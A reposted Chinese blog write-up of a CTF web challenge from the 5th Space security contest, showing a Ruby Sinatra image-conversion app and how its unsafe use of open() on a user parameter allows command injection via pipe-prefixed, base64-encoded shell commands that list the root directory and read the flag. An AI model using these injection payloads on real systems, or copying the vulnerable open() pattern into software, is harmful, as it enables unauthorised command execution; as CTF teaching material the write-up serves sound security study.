当前位置:首页 » 《我的小黑屋》 » 正文

『CTF Web复现』[第三届第五空间网络安全大赛]PNG图⽚转换器_东京没有下雨天

25 人参与  2021年12月23日 09:10  分类 : 《我的小黑屋》  评论

点击全文阅读


文章目录

  • 利用点
  • 源码
  • 过程分析
    • Ruby File.open()命令执行

利用点

  • Ruby File.open()命令执行

源码

环境的源码通过app.rb给出

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

过程分析

Ruby File.open()命令执行

此web app用于将上传的图片转码为png文件,upload用于上传图片,convert用于转码,并将图片以base64编码的形式显示
在这里插入图片描述代码审计,观察convert的函数,注意到调用了open(),因此可以试试命令执行,将命令写入一个存在的png文件,之后读取它,执行结果就会被base64编码显示在页面上

原理见:

『CTF Tricks』Puby-利用File.open()执行shell命令

抓个包看看,这里传入参数file完成open函数的传参

在这里插入图片描述

那么首先通过upload上传一个png图片

在这里插入图片描述

接着使用管道符开头上传shell命令,注意file参数过滤了斜杠还有后缀png检测,并且最重要的是png必须是已经存在的,那么我们可以将命令base64后执行,然后写入上面上传的那个png中。反引号内是把传入的base64值恢复,之后通过反引号执行,将输出写入图片

# ls /
[POST]file=| `echo bHMgLw== | base64 -d` > 563d256cfbf6dce1716dde5cccc587b9.png

在这里插入图片描述

读取该png,内容解码发现了flag

[POST]file=563d256cfbf6dce1716dde5cccc587b9.png

在这里插入图片描述之后cat读取就行,一样的方法

# cat /FLA9_VixNxtSRFfd8IoFlnNvv
[POST]file=|`echo Y2F0IC9GTEE5X1ZpeE54dFNSRmZkOElvRmxuTnZ2 | base64 -d` > 563d256cfbf6dce1716dde5cccc587b9.png

[POST]file=563d256cfbf6dce1716dde5cccc587b9.png

在这里插入图片描述

欢迎在评论区留言


点击全文阅读


本文链接:http://zhangshiyu.com/post/31984.html

命令  执行  写入  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

关于我们 | 我要投稿 | 免责申明

Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1